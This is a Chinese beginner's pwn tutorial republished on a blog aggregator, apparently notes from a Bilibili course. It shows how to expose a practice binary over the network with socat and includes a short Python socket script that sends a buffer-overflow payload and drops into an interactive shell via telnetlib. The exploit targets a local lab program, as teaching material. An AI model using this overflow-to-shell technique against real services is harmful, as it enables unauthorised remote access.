当前位置: 首页 > article >正文

【pwn入门】使用python打二进制

声明

本文是B站你想有多PWN学习的笔记,包含一些视频外的扩展知识。

程序网络交互初体验

将程序部署成可以远程访问的

socat tcp-l:8877,fork exec:./question_1_plus_x64,reuseaddr

在这里插入图片描述

通过网络访问程序

nc 127.0.0.1 8877

在这里插入图片描述

攻击脚本

import socket
import telnetlib


def pwn():
    # 创建一个TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器127.0.0.1的8877
    s.connect(("192.168.44.138", 8877))
    payload = 'A' * 0x8 + '\x10\n'  # 构造payload
    s.sendall(payload.encode(encoding='utf_8', errors='strict'))  # python3这里需要编码
    # 创建一个telnet来产生一个控制服务器的shell
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


if __name__ == "__main__":
    # socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddr
    pwn()

在这里插入图片描述


http://www.kler.cn/a/106467.html

相关文章:

  • 亚博microros小车-原生ubuntu支持系列:1 键盘控制
  • python转转商超书籍信息爬虫
  • 2024.ailx10的年终总结
  • .Net Core微服务入门全纪录(五)——Ocelot-API网关(下)
  • SSE 实践:用 Vue 和 Spring Boot 实现实时数据传输
  • 麦田物语学习笔记:创建TransitionManager控制人物场景切换
  • LVS集群-NAT模式
  • python实现PDF表格与文本分别导出EXCEL
  • HarmonyOS SDK,赋能开发者实现更具象、个性化开发诉求
  • 31一维信号滤波(限幅滤波、中值滤波、均值滤波、递推平均滤波),MATLAB程序已调通,可直接运行。
  • spring.factories介绍
  • 用python做一个压缩图片的小程序
  • ReentranLock超详细讲解
  • 俄罗斯黑客利用Roundcube零日漏洞窃取政府电子邮件
  • Makefile 基础教程:从零开始学习
  • Kubernetes - 一键安装部署 K8S(附:Kubernetes Dashboard)
  • node(三)express框架
  • Python解读市场趋势:LSTM 和 GRU 在预测 Google 股价方面的探索
  • 计算机网络之数据链路层(全)
  • 机器学习——正则化
  • python---设计模式(单例模式和工厂模式)
  • HCL模拟器选路实验案例
  • Linux系统之file命令的基本使用
  • 在3分钟内使用AI-Chat生成精美PPT(附AI工具)
  • 10个Golang 数据库最佳实践
  • Android 13.0 SystemUI状态栏屏蔽掉通知栏不显示通知